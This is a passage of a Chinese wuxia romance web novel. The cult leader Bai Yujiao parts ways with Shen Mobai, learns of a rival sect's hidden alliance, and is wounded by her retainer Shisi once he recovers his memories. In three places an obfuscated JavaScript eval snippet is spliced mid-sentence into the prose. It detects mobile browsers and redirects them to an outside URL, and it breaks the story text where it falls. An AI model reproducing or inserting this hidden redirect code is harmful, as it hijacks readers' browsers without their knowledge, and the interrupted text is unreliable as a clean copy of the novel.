我瞪他,妄图从他表情里发现什么睨端:“沈墨白,你是怎么知道十四的事的?谁告诉你的?你调查十四?” 沈墨白先是愣了一瞬间,随即,他嘴唇细细抿起来,眼神变得有点迷离,神情变得有几分若有所思。沈墨白沉默不语,似乎在思索什么问题。 我懒得再跟他耗下去,于是决定开诚布公。 “沈墨白,这是我和十四之间的事情,用不着你来插手,也没有你插手的余地。至于我们,我觉得我们不能再这样下去了……” 沈墨白啊抬起眼皮看着我,不知为毛,我觉得他神色有点委屈。 那表情看得我心里有点痒痒的,我心想:不能动摇不能动摇,不能被耗子药的糖衣外皮给迷惑了! 我咳嗽了一声,接着用非常严肃认真的口吻说教道,“你今年才廿四吧?我都马上三十的人了。而且我是魔教教主,你是武林盟主。无论是年龄上、身份上我们根本就不合适。” 沈墨白一直沉默得听着,听到这里他冷哼了一声,“想不到,在这件事上你还挺墨守陈规的。” 我没理他,撇撇嘴角继续往下说,“不出这两日,十四就回来接我。我准备离开武林盟了。” 那一瞬间,我看到了沈墨白脸上受伤的表情。 我深深看了他一眼,迈开腿,侧身从他身边走开。 就在擦身而过的一瞬间,沈墨白忽然拉住了我的手。 他瞪着我,神色绝对算不上柔和,抓住我的手力气也很大,我手腕都被他拽得生疼。 “你为什么不肯接受我?是因为冷将息?” 我晕! 沈墨白沈墨白沈墨白!我该怎么跟你说啊! TM我白玉蛟长那么大就不懂什么叫谈情说爱! 床伴可以有,一夜情可以有,男宠想有多少有多少! 但是,谈恋爱什么的跟我根本不可能沾上半点关系啊! 单单是“恋爱”这个词儿,跟我就完全不搭! 若是十年前,我可能还留有些少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349874|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女情怀,但是我都这个年纪了,你还跟我矫情什么?! 你饶了我行不行! 我皱着眉头,想到沈墨白再怎么厉害,再怎么无耻,这时候也只是个在爱情面前走岔了路的可怜的家伙。 我语气软下来,特别无奈得叹气,“不是。” 沈墨白不屈不挠,“那是因为十四?” 我再晕。 沈墨白你到底想搞什么啊…… 你堂堂一个武林盟主,学什么纯情少男啊…… 我用力推开他,一字一句,盯着他说道,“沈墨白,我把你当朋友,别背叛我。” ···· 五天之后,十四才终于姗姗来迟。 迟到了这事儿也不能怪他,因为有不可抗力。我运气有点背,这几天江南地区连降暴雨,河水暴涨,金陵竟然碰上了长江水患。金陵周围的官道十之八九都被整个淹在了水底下,现在整个金陵城如若一座孤岛一般与外隔绝,粮食供给都被切断,水源告急,出去求助的人一个个都有去无回,城内现在一片混乱。 武林盟这两天也是鸡飞狗跳的,一半儿以上的人都被拉去抗洪抢险了,剩下的一半老弱妇孺也在忙着囤积粮草水源,以备不时之需。 十四比较幸运,在城门外碰上了抢险后勤部长秦黛黛同志。 秦黛黛同志不愧为江湖第一花痴女,只要是她见过的帅哥,就能保证过目不忘。在无数难民和民工群里,她竟然能一眼就看到了十四,即便十四一身泥泞,整个人像个落汤鸡似的湿淋淋的,她还是一眼就认出了他。秦黛黛亲自把十四送回武林盟,把这只走丢的大狗交到我手上之后,黛黛同学对十四留下了一个余情未了的回眸,就又匆匆忙忙走了。 我把十四领到屋子里,扔给他一条大毛巾。 十四那个笨蛋孩子,愣头愣脑得站在门口,也不进屋,只是接过毛巾傻兮兮得看着我。 我看他半天不动,所以就抬起右手,勾了勾食指,“进来!” 十四看了一眼落汤鸡般的自己,腼腆的摇头,淡淡道,“会把地板弄湿。” 当即我就震惊了! 十四! 才半年没见你怎么就变成这样了! 绝尘女!你到底对我家十四做了什么啊!! 怎么从天然呆变成邻家少年了啊! “笨蛋!快点进来!”我走过去,一把把他扯进房间里,我看他两手空空,就知道这家伙什么都没带就赶来了,出门都不懂带行李的家伙没死在路上真是命大啊。 “我现在去找沈……雪鉴,去拿件你能穿的衣服来。你把湿衣服换下来,自己去提热水,泡个澡,休息一下。” 我说完,转身就往门外走,忽然听到十四哀怨兮兮轻唤了一声,“教主……” 这声音,低低哑哑的,听得我脊背一阵酥麻。 “嗯?” 我一回头,就发现十□□一般飘到了我面前。 他眉峰一簇,露出了一个哀婉中带着凄凉的表情,“您不该做这些下人做的事……教主!这半年让你受委屈了,武林盟的这些人是不是难为您了?沈墨白是不是一直把您呼来喝去的?是属下不好,属下应该早些来接教主,属下无能,请教主责罚!” 十四说完,“噗通”一声重重跪在我面前。 我看着他,三秒钟之后,挑了一下眉梢。 这三秒钟的前两秒,我稍微郁闷了一下下:我不过是稍稍照顾了他一下,他至于这么受宠若惊么?难道我之前一直在虐待他吗? 最后一秒我又觉得安心:还好还好,这货仍旧是我家的天然呆,没被调教得走上大好青年的道路。 十四来了之后就像个狗皮膏药似的粘着我,我半步都不愿离开,就连晚上都硬挤在秦黛黛的园子里头睡。众人认为他是思妹心切,又看他长者一张童叟无欺我本善良的脸,也就允许他睡到我房间旁边去了。 我和十四几乎十二个时辰腻歪在一起,我也用不着躲着沈墨白了,因为沈墨白同学半分插足的余地都没有。武林盟里上上下下的人都念叨:小孩子就是薄情啊,亲哥哥来了转脸就把干爹忘干净了,可怜的沈盟主…… 我本来是想,等十四来了我们一秒钟也不要耽误立马卷了财物畏罪潜逃。 只可惜天公不作美,现在江南水患这么严重,我竟然就被困在了这座金陵城里,一时半会儿进退不能。 我本来是这样想,多呆几日就多呆几日吧,至于沈墨白,只要视若无睹把他当空气就好。现在赶上水患大家都忙的像个狗似的,沈墨白应该也没闲工夫去搞飞机。 只是,没想到,却中了那句老话,所谓的“夜长梦多”。 就在这多呆的短短几日间,竟然发生了一件,让我怎么也想不到的事情。 39. 相爱相杀 两日后,哀鸿遍野的饥民遍地,浮尸满河飘的金陵城里,忽然来了一帮怪人。 这帮怪人组成了一个数量庞大的车队,所有随行人员都是统一的白衣,白色斗篷。 车队庞大,但却行动迅速,路上没有一个人有任何的闲言碎语。 所有人身上都散发出一阵冷冽的气势,让所有人都躲得远远得不敢靠近。 车队前的大番旗上,写了一个巨大的“琼”字。 那字体霸气而卷狂,只要是个混江湖的人,都认得这标记。 车辆一辆接着一辆进入金陵,天知道这些人是怎么带着如此多的装备,还能顺利经过被水淹没了的道路来到金陵城的。 他们浩浩荡荡,从南门进入,一路纵贯南北,抵达了武林盟。 ···· 那帮人来的时候,我正懒洋洋趴在院子的躺椅里,指导十四练剑。 “叮——”一声清啸,十四腰间的剑,出鞘。 十四的剑也是几年前我赠给他的。 记得当时我带着自己的一帮暗卫,像个强盗似的洗劫了一趟途经蜀中的镖。那趟镖押解的是藩王进贡给皇室的贡品。本来我们只是想抢钱,没想到竟然撞上狗屎运了,贡品里头竟然有一把绝世名剑——“转魄”。 《拾遗记》中有载:越王以白牛白马祀昆吾之神,以成八剑。名曰:掩日、断水、转魄、悬翦、惊鲵、灭魂、却邪、真刚。这八把剑已经遗失已久,八成都是做了陪葬品给埋在坟冢里了。没想到,竟然如此有缘,碰上了这把“转魄”。 当场,我拿起“转魄”,一把丢给了十四。 “转魄”自墨色的乌金剑鞘中跃出,银色的剑光流泻而出。十四的身影随之腾起,如同惊鸿之影,在半空中接住转魄。剑光似蹁跹扑朔的蝶影,黑色的身影似秋叶随风回舞。顺着剑尖看下去,是他白皙的手,十指纤长,手腕起落回转,婉转婀娜。而他无暇的脸上,那双眸子中的光,宁静而悠远。 剑风卷起园子里的梧桐叶,零落如雨。 在漫天纷飞的叶中,他剑招古朴拙重,潇洒之中自现飘逸,如若醉中孤鹤。 十四一套剑法舞完,“锵”得一声收剑。 而后他稍稍平复了一下呼吸,回过头来,带着些许的期待看着我。 我扬了扬眉毛,“还不错,看来,这半年你也没把功夫落下。” 被我表扬了,十四微微颔首,虽然脸上没笑,但看得出他高兴得心里都笑开花了。 我继续慢悠悠道,“你这套剑法大开大阖,大气稳重。你年少的时候使,稍微看起来不是那么回事儿,现在你人沉稳了不少,剑法倒是也慢慢上路了。” 这套剑法,是他们穆家的独门剑法。 我当时善后他们家的时候,在烧毁的废墟里发现一口枯井,下去后找到的竟然是他们穆家的藏书楼。所以,我就把这本剑法从里头逃出来,把书皮给撕了,扔给十四去练。不是因为我有恻隐之心什么的,只是因为穆少卿,也就是十四,从小就学他们穆家的独门内功,若是不配合这套剑法练,恐怕要毁了他这么个骨络清奇的武学奇葩。 十四抬起眼睛偷偷瞟我一眼,又飞快把眼睛垂下去,恭恭敬敬道,“谢教主。” 忽然十四像是听到了什么动静,忽然转过头侧耳聆听什么。 我其实早就听到有浩浩荡荡的车马声由远而近。我现在这双钛合金狗耳朵,简直就比那雷达还灵敏。 “外面似乎有事发生。” 我果断从躺椅上面下来,小手一挥,“走,跟爷出去看看热闹。” 一到武林盟的大门口,放眼望去,只见一片白花花的人影晃来晃去,晃得人眼花缭乱。张总管在指挥者家丁和杂兵跑动跑西的卸货,牵马,场面一片忙乱。 我一眼看到树立在院子中央那杆写着“琼”字的大旗,瞬间,我脸色一沉,杀气就有点压不住了。 我目光在人群中逡巡,找到了琼楼玉宇为首的几个人。他们正在和雪鉴和秦黛黛说话。 其中一个摘下了白色的帽兜,我认出来那是半年前在武林大会上碰上的白斩鸡。他身边站着一个没有穿白衣的女子,女子背影清瘦高挑,看着有几分眼熟。 忽然,秦黛黛看到了我,远远就扬声喊道,“小白!看到你爹了么?” 她这一嗓子喊出来,所有人的目光都齐刷刷射到了我身上。 十四立马全身紧绷,一步站到我的左前方,手按到腰间的剑柄上,我感觉到他全身内力都在汇流,似乎准备随时动手。 我侧身走到十四前面,拍了拍他的胳膊让他稍安勿躁。 “他整天忙的不见踪影,我哪里会知道?”我露出一特开朗的微笑,笑得白白的牙齿齐刷刷露出一排。 我话音刚落,忽然那个站在白斩鸡旁边的女子向我的方向走了两步,有些不确定地问,“是小白?” 我微微一皱眉,仔细打量了她一圈儿,才认出来……这货,是颜静行。 颜静行提气衣摆,小步跑向我,“小白,八月十五一别之后都一年过去了,我好想你呀。” 颜静行大庭广众之下撒丫子向我飞奔,脸上笑得阳光灿烂,简直能放出光来。 然而,在她靠近我三步之时,十四忽然抢上一步,一抬手挡住了她的去路。 颜静行一瞬间动作就僵在半空中了,神色一下变得很尴尬。 我知道十四为什么要拦住她。 她明明是烟雨楼的当家,这次却与玉宇琼楼的人同行。很可能,烟雨楼与琼楼玉宇是沆瀣一气。 既然是琼楼玉宇的同伙,那就是我的对头。 我拽了拽十四让他退后,然后弯起眼睛笑,“十四哥你记性好烂,这个是颜公子哦,变了女装你就不认得了?” 十四回头看我,欲言又止了一下,随即就乖乖收敛了架势,退到一边去了。 颜静行解除了尴尬,轻轻吐了口气。而后,她敛起衣摆在我面前蹲下,抬手戳了戳我的脸颊,笑道,“还是小白眼力好。” 我不露声色得避开,故意露出一个好奇的表情,指着白斩鸡问,“那个叔叔不是玉宇琼楼的人嘛?为什么姐姐你这个烟雨楼的老板竟然跟他们同行?” “我们这不是来赈灾的嘛,玉宇琼楼的总舵与金陵是远水解不了近火,所以这些物资全是从杭州的烟雨楼调运的,”颜静行说到这里,忽然压低了声音悄悄凑到我耳边,“你别告诉别人哦,其实十几年前烟雨楼遇到了些变故,为了生存下去,就只能暗中投靠了玉宇琼楼!” “啊,原来是这样啊。”我眨巴眨巴眼睛,装得一脸似懂非懂的表情。 白斩鸡遥遥在对着颜静行招手,颜静行回头看了看他,然后拍拍我的头说,“我回头找你玩。”说完,就转身走向白斩鸡那边去了。 我眯起眼睛看着她的背影,脸上的笑容一瞬间就隐没不见了。 我心下一片清明冷冽。 烟雨楼,竟然是从属于玉宇琼楼的? 那么,沈墨白既然是烟雨楼的管事,也就算是玉宇琼楼的人。如此,就算是我的仇人了。原来,他那句“如果是仇人”指的是他自己。而且,他沈墨白真的仅仅只是个烟雨楼的管事么?他既然和烟雨楼的当家有婚约,身份又怎么可能会简单? 我正想着,忽然又有一个人走到了我面前停下。 “小白?真是你?”一个听起来有几分熟悉的声音响起来。 我抬头。 眼前的人白衣黑发,五官极其漂亮几乎挑不出什么瑕疵。 这家伙,是已经大半年没见过面的薛紫。这半年间,似乎他身高又窜高了不少,脸上的少年稚气也隐去了许多,整个人气质沉稳了几分。 薛紫弯下腰来,看我盯着他的脸发呆,于是伸手在我眼前晃了晃,“小白,才半年不见,你不会就忘了我了?也太薄情寡义了。” 我摇头,扬眉一笑,“我忘了谁也不能忘记你呀,你可是答应过要娶我的。君子一言驷马难追,到时候你可要记得八抬大轿来抬我。” 薛紫也笑了,他忽然抬手惩罚似的拧了拧我弯成双髻的头发,“你这小家伙怎么这么爱玩失踪,先在金陵失踪,又在剑阁失踪,每次都是那么危险的情况下,知不知道会让我们担心啊!” 我知道薛紫是真心担心我,心情微微好了些,笑着反驳他,“你不也玩失踪吗?我都在武林盟呆了半年了,你还不是这才来。” 薛紫吐舌头,露出了点少年的调皮神态,“我也不想啊,是公子他这半年都不许我来,非得让我在家里帮忙。说真的,我家公子可把你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349875|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这闺女看的严得很呢。说什么要让我在家里多磨练一下,那都是借口。他就是个护窝的母鸡,怕我把你勾搭走了。” 我想到沈墨白,神色僵了一下,勉强笑了笑没做回答。 薛紫也看出有几分不对劲,不过他也没多问。 “我现在要去找我家公子了,小白,等会有时间了我再来找你玩。”薛紫说完,对我挥挥手就跑没影了。 薛紫,沈墨白的贴身护卫,跟着玉宇琼楼一起出现。 我冷笑了一声。 真不知道,他嘴里所说的“家里”是指“烟雨楼”还是“琼楼”。 忽然,十四在我身边俯身蹲下来,这样的高度,变成他需要微微仰着下巴看着我。 他有些担心地看着我的眼睛,“教主?” 看着他大型犬一样的表情和动作,我不由自主抬起手顺了顺他额角垂下来的碎发,“恩?” 十四像是被吓了一跳,飞快看了一眼我放在他脸侧的手,下意识想躲开又不敢动。 我看着他的表情,觉得有趣,故意手就停在那里不拿开了。 十四喉头微微颤了一下,努力用平常的声音语调说,“教主,不如我们今晚就动身离开这里。” 我看那全身僵硬紧绷的样子,忍不住笑了。手上摸他脸的动作,随着手指一曲一伸,变成了弹他额头,“你紧张什么?还怕我这幅样子会操着大刀跟琼楼玉宇去拼命么?” 十四揉了揉被弹疼了的额头,低声嘟囔,“属下只是担心教主……” 我沉默得看了他几秒,随即轻轻叹了口气,“好了好了,就照你说的吧,今晚我们就走。” 十四立即就露出了安心的表情,他舒了口气站起来,“属下这就去做准备,教主,等我回来。” 我点点头,弯起嘴角对他无声笑笑。 十四转身,快步走向门外,出门之前,他又不放心似的回头来看我。发现我仍旧站在原地看着他,十四有点惊讶地驻足停了一步。 我对他挥了挥手,十四这才发现自己正愣愣得看着我,他飞快地扭头,几步之后,他的身影就隐没在了人群之中。 我站在纷乱的人群中,天很灰,云压得极低,不知什么时候又会暴雨倾盆。 明明周围是喧嚣和嘈杂,我却在这时,忽然有些萧索寂寥的感觉。 我知道,这次要离开武林盟,大概就这辈子也不会再回来了。 这辈子,再也不见沈无赖,不见雪鉴和尚,不见秦花痴,不见薛紫,不见萧恋童癖,不见厨房的胖叔叔,剪花草的赵伯…… 不是因为见不到,而是因为,从此以后,我就再也不是小白了。 再见,即便不成仇敌,也是陌路。 知道沈墨白是琼楼玉宇的人,我也并没有太吃惊太愤恨。 也许,之前,我就已经稍微有了些预感。 将心比心我也能想明白,沈墨白也许不是存心骗我。即便开始特意隐瞒身份,但我与他相处一年来,虽然我们站在敌对的立场上,他对我可以说已经做到了推心置腹。他大概是不想让我们的关系变得尴尬才一直在隐瞒真相。 我知道骗人不是一件易事,一句谎言,为了不露出马脚,要用千万句的谎言去圆满。 瞒得这么久,这么严,沈墨白也够辛苦的。 我想到这里忍不住摇头苦笑了一下。 只是,我竟然帮着琼楼玉宇控制了武林盟,稍稍觉得自己还真有点些傻。 忽然想起当时沈墨白在武林大赛之前那么轻易得受制于凤栖梧,又突然态度坚决地要赶我走,现在我才终于有点明白了。 他是真心根本就不想当这个盟主。 他怕的就是有一天我们揭开中间隔着的那一层纱,相互以真面目相对。 倒是我,完全没考虑到他,逞一时之气,弄巧成拙。 如果不是这样,也许我们现在还能四海为家,到处逍遥。 算了。 我果然不是小白。 自己作的恶,犯的错,哪有那么便宜的事,可以变成别人来一笔抹消? 出来混,总是要还的。 更何况,我的恶,还没作完。 琼楼玉宇一日不被铲平,杀师之仇一日不报,我就不能卸下白玉蛟那厉鬼的盔甲。 40. 不虐不成佛 傍晚,我站在武林盟的偏门等十四。 进入了夏季,天色晚的很慢。 我看着成群的飞鸟贴着低低的云层,啼叫着成群归巢。 飞鸟尽,十四没来。 当灯都被点起来的时候,十四依旧没有出现。 天色已经完全黑了下去,天空因为连绵的降雨而变成了一种诡异的玫瑰紫色。 十四不可能会迟到。 我隐隐有一种不好的感觉,我第一次有这种感觉的时候,是我师傅从此消失在这个世上。 他临走前穿着我送给他的鹤羽大氅,还笑着对我说,“别调皮。” 那是一个冬日,连绵不绝的山脊上铺满了银色的雪,阳光落在雪上,亮的让人觉得炫目。 三更的更声响起来,我听到远远的街上,有守夜人慵懒低沉的声音远远的寂寞的响起来:“小心烛火……” 忽然,我听到背后响起了轻弱的脚步声。 我飞快回头,转身。 却看到是沈墨白提着一盏宫灯,远远在一棵树后停住了脚步。 “他不会来了。”寂静里,他低沉的声音突兀响起来。 宫灯的火光映在他的脸上,阴晴不定,我看不到他的神情,却能感觉到他身上不寻常的冷冽异常的气息。 我看着他不说话。 沈墨白继续说,“我不会再让你为难了,你就……留下来吧。” 我冷冷盯着他,只问了他五个字,“你做了什么。” 沈墨白沉默得站了一会儿,我不知道他在想什么,他在犹豫什么,他在后悔什么。 末了,他什么也没说,转身就走。 我怎么肯能这样不明不白让他走掉? 我二话不说,冲上去,一把揪住他的胳膊,“你对他做了什么!” 我自己都没有发觉,这一刻我竟然是动怒了,我的语气和眼神竟然那么可怕。 沈墨白在我的注视中,忽然逃避似的扭开了头。 我不屈不挠用力抓着他的手腕,用力到我都听到他骨头发出细小的扭曲变形的声音。 末了,沈墨白冷冷丢出了几个字,“他想起来了。” ··· 我不知道沈墨白是怎么查到十四与我之间的纠葛的,我也不想知道沈墨白是用了什么手段迫使十四把遗忘了十多年的惨痛记忆重新一点点捡起来拼回去。 此时此刻,我只知道,我终于孑然一身众叛亲离了。 沈墨白大概本是做好了被我毒打一顿的准备,他神色虽然淡漠但全身紧绷得像一张张满了的弓一般。 然而,我只是漠然看着他,视线似乎是穿越了他的身体一般,飘渺无边,不知落在何处。 压抑的沉默不知持续了多久,沈墨白才终于小心翼翼打破了它。 他微微低下头,试探着轻声叫我的名字,“白玉蛟?” 我这才回神,眼珠动了一下,目光聚焦到他脸上。 其实,我刚才什么也没想。我只是在发呆而已。 想了半天我应该说什么,最后问了三个字,“他人呢?” “我想,应该是仍留在金陵没走。我派的人不敢跟他太近。” 沈墨白说完,我没什么表示只是沉默盯着他,我知道我这种压抑的平静比狂风暴雨让人来得还要难受。那是一种冰冷的暴力,产生一种压抑到极致的气氛,让你窒息,让你想要爆发尖叫发狂,却只能硬生生忍下来,狂躁得如同困兽般原地转圈。 我不是故意摆脸色给沈墨白看,我只是不想理他。 一切都已经到此为止。 原本,我想把一切都扼死在看起来仍旧美好值得回味的地方,可惜,那个不肯就此结束的人,硬是在末尾狠狠添了一处败笔之作。 “他若是来寻仇,我会保护你的。” 我抬手打住他,“我早说过,我和十四的事,没有你可以插手的地方。”末了,我又鬼使神差轻轻加了句,“沈墨白,你根本一点都不能明白我在想什么。” 沈墨白微微别开脸,眉头微微锁起来。他想说什么,但是话到嘴边轻轻咬了一下唇,像是如鲠在喉一般,又全数咽了回去。 “你不怪我?” 我没有温度地扬了扬嘴角,“我的确不怪你。十四这件事,我知道迟早是要挑破的。拖到今日已经是我的失策了。今日竟然是你撕破了这层纸,我只是没有料到竟然会如此,有点惊讶罢了……”我说到这里,带着几分自嘲笑了笑,“就让这事儿顺其自然吧。” 沈墨白猛然回过头来盯着我,似乎有点不能相信我竟然这么轻而易举就把这事儿带过了。 他沉默了几秒,“你知道了琼楼玉宇与烟雨楼的关系,我骗了你……” 他说话的时候明显情绪里带着一丝焦虑,语速都明显比平时快了许多。 我看着自己的手指,冷冷地笑。 原谅别人,减少的实际上是自己的负担。 早就知道他不是什么正人君子,而我恰巧也是个邪魔外道。 “这个江湖上,有几个人不是骗子呢?你骗我,我也骗过你。怪不得骗人的人,只怪被骗的人自己轻信于人。” “小白……” 虽然是夏夜,但在低垂的天幕和席卷而过的风里,我感觉到了一丝冷。 我把两只手揣进对面的袖口里,慢腾腾绕开沈墨白走向黑暗里,“我不是小白。” 忽然,沈墨白的声音变得有些严厉,“你要否定自己的存在吗?” 我冷笑了一声,“那不是存在,是幻觉。从此以后,你我形同陌路。” 我明明绕开他很多步,我明明都把话说得那么清楚了,谁知道沈墨白这家伙竟然不屈不挠,一步挡在我面前,拽住了我的手腕狠狠扯住我,几乎把我从地上拎起来。 “你把话说清楚!什么叫形同陌路?!” 我第一次听到沈墨白使用“怒吼”这种说话方式,说实话,情绪激动失却了从容不迫,实在不好看。 我把脸向旁边偏了偏,不想正对着他那双让人无法呼吸的眼睛,“简单的解释就是再见面就假装不认识吧。” “你就不能换一种方法惩罚我吗?!我没有恶意,我只是不想让你走。你知道我下了多大的决心……” 我猛然抬头盯着他,略微扬起了眉梢,撂下了一个狠毒的眼色。 我一字一句,清晰而冰冷道,“我不知道。也没必要。你是你,我是我,虚情假意的游戏已经玩完了。我烦了,一切到此为止,你明白吗?” 我说完,狠狠一用力甩开了他的钳制,用一种冰冷到无以复加的目光最后看了他一眼,毫不留情地转身离开。 ··· 那一夜,不知道为什么,我一直没睡着。 我明明没有觉得伤心,失望或者是孤独,却对着桌子上的蜡烛坐了一夜。 我没想十四,也不去想沈墨白。 这些小小的痛觉已经无法触动到我,无法伤害我了,因为我曾经面对过的东西比这些要锥心刻骨百倍千倍。 第二天,天未亮,外面下起了雨。 不是江南那种水雾一般迷蒙的蒸汽,而是像千万根钢针从云端坠落,直刺入大地的心脏,狠厉得让人害怕。 我撑着一把油纸伞,伞面被雨水敲打着发出清晰响亮的声音,那层纸仿佛随时都会碎掉。 雨帘几乎模糊了眼前的一切景物,一切都像是藏在毛玻璃后面,让人看不真切。 武林盟,金陵城,天下,一瞬间变成了一座空城。除了雨声再无其他声响,除了我,再无其它人。 我撑着伞,踏着一地连绵成天的雨水,走出了武林盟。 还是昨天那扇侧门,我拿掉门闩,推开门。 眼前是一条铺着碎青石板的小路,小路蒸腾在一片雨雾中,那里什么也没有,什么也看不清。 我回过身,稳稳阖上门,镇定自若,仿佛没有看到那个坐在石阶下面,望着眼前的小巷发呆的男人。 他坐在屋檐外,全身被与浇得一片狼藉。满头的黑发像水藻一般黏在皮肤上,蜿蜒弥漫,有一种奇怪的妖异感。 我撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349876|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伞,站在他身旁,手腕不自觉一转,把伞轻轻歪斜。 我们在沉默中一样望着前方。 其实,我知道,盯得再久,前面也不会有康庄大道。 “你干什么呢?”我闲闲开口,语气随便地跟平时没有两样。 十四没有搭理我。 我用脚尖踢他,“你喝酒了?上班时间玩忽职守可不好。” 我话音刚落,便听到了他干涩沙哑的声音。 “白玉蛟。” 这是,我第一次听到他叫我的名字。 我心脏再这一刻紧紧收缩,像是被塞进了榨汁机一样。 十四抬起头看着我,他的眼睛里全是猩红的血丝。他眼睛里似乎有泪,被雨水浇得一片模糊,让人分不清到底是泪是雨。 我看着他,耳朵里全是喧嚣的雨声,一瞬间脑子里什么也无法思考。 他咬着牙,用力得看着我。他的痛苦那么鲜明,从他的眼睛里不可抑制向外泄露,他痛的说不出话来。 他的痛让我想要退却。 但是我没有,今天必须做一个了结。 他什么也不说,但我明白他想说什么。 “你想起来了?”我说着,口吻轻松,“穆少卿。” 我看到十四的唇在微微颤抖,他狠狠要紧牙关,然而最后还是只能说出三个字,“为什么……” 我回答得干脆,但却避开了他的目光,“不为什么。” “你真残忍!” 利剑出鞘的鸣响一瞬间割裂了连绵不绝的雨声。 我看着十四愤怒而疯狂地起身拔剑,看着他几乎崩溃了一般把剑抹向我的脖颈。我感觉到剑风扬起我垂落的头发,最后剑锋抵在我的动脉外一指处。 我一直看着他,没有表情。 一滴鲜血在皮肤凝结,摔落,“啪”得摔落在雨水中,溅出一颗小小的血花,瞬间溶于水中只剩下一层稀薄的铁色。 我左手紧紧握着他的剑,他在用力,我也在。他像一只受伤了的野兽一般,愤怒而绝望,只想咬死我。 我仅仅握着剑,不再让他能挪动一分。 剑在震颤,十四握着剑的手也在颤抖,他的肩膀,手臂,也在不可抑制地颤抖。 僵持的对峙持续了很久很久,久到,就连天也哭累了,雨在明显地一点点减弱。 终于,十四似乎精疲力竭,他力气一点点在松掉,“十年了……我那么相信你……” 我受不了被他那样的眼神看着。我别开眼睛不看他,只冷冷说,“我还不能死。” “你以为我真的杀不了你吗?!” 我感觉到剑锋上猛然涌入一股内力,我心脉一痛,毕竟现在没有内力,只能放开剑身。 下一秒,十四已经欺身向前,居高临下一剑向着我心脏的方向刺下去。 他这一招剑法我看了没有上千也有成百次,我知道他剑的路数和走向,千钧一发之际,我找了一个极其刁钻的角度转身,堪堪避开了剑尖,然而剑锋却在我胸口划开一道大口子。 十四那一剑刺下来,开始的表情是凶狠,后来却变成了惊恐。 我知道他害怕,害怕会杀掉我。 “锵”得一声,剑尖垂落在地上。 我向后退了两步捂住胸口,鲜血却从指缝间不可抑制一直流出来。 好多年没被这样砍过了,还真有点痛啊。 我闭上眼睛,微微笑了,却忍不住得想要叹气。 早就知道会有这么一天。 我早就知道。 好像有句俗话叫什么“千金难买早知道”。 其实,即便是早知如此,当初,我也不会再作出第二种选择。 人,都是不撞南墙撞得头破血流不知道回头的死脑筋。有些更贱的人,撞得肝脑涂地仍旧不知悔改。 过了很久,雨停了。 我摸了一把胸口的血,弯腰捡起地上掉落的伞。 十四已经不见了,不知,下次还有没有再见的机会。再见时,又不知是该以何种身份相对。 41. 别离似月,暂满还亏 我把伞抱在怀里,遮住胸口被血沾染的那一大片淋漓的红色。 还好我虽然没有内力,但是外家功夫都还在,而且缩小了之后,似乎应了那句话“浓缩的都是精华”,抗打击能力耐受度都明显提高了不少。流了这么多的血,我竟然连步子都没晃一下,头也没半点晕眩的感觉。 我觉得我离成佛——不,西天估计不收我——我离成魔估计是不远了。 今天下了大雨,灾情又告急,亏了这场雨,几乎所有的人都扑到武林盟外头去抗洪抢险了,一路上我也没见到个人影。要是碰上了人我真不知道怎么解释我这一身血一身水。 就在我即将一脚迈进院子里时,忽然被人叫住了。 “小白!你怎么淋了一身雨?” 我翻了个白眼,心里暗骂了一句:SHIT。 缓缓转过头,颜静行一袭白衣,一脸惊愕地快步向我的方向接近,宽大的衣袖在她背后飞扬。 她离我大概只有三米,这样的距离,我想逃跑已经来不及了。要是让她看到这身伤,我就麻烦了…… 我回头,对她露出一个没有破绽的微笑,“颜姐姐你怎么在这里?外面那么忙,你也不去搭把手,偷懒啊?” 颜静行嗔怒得瞪了我一眼,“说什么呢,我这不是正要去……等等,你先解释一下为什么淋得这一身雨?也不怕着凉了,快点,跟我进屋去换衣服……” 颜静行说着,身体就倾过来,伸出手来,想要抓住我在胸前抱住雨伞的手腕。 我紧紧盯着她那只手。 心里电光火石闪过一个念头:干脆趁她没有防备,出其不意地偷袭她。把她打晕了,省了遮遮掩掩得麻烦。 然而我的想法没能付诸实践,因为,在这紧要关头,从颜静行背后冷不丁伸出一只手来。那手迅捷轻巧地把她的手抓住了,一拉一推,颜静行脚步不稳,就被推到一边去了。 颜静行当即愣在了原地,回头,瞪着眼睛,有一点不可置信地看着背后的人。那种表情,说实在的,我不觉得仅仅用惊愕和疑惑可以形容,里面似乎还带着一丝愤怒甚至是怨恨。 沈墨白一晃身就挡在了我面前,他扬起一个与平日的吊儿郎当无异的笑容,“这小妮子调皮,我这就带回去调教。颜老板你还有要忙的地方,这点小事怎么能劳烦您。” 颜静行咬了咬嘴唇,末了突兀地收起了刚才的表情,露出微笑。不知道为什么看到她的表情,我心里有点发毛。 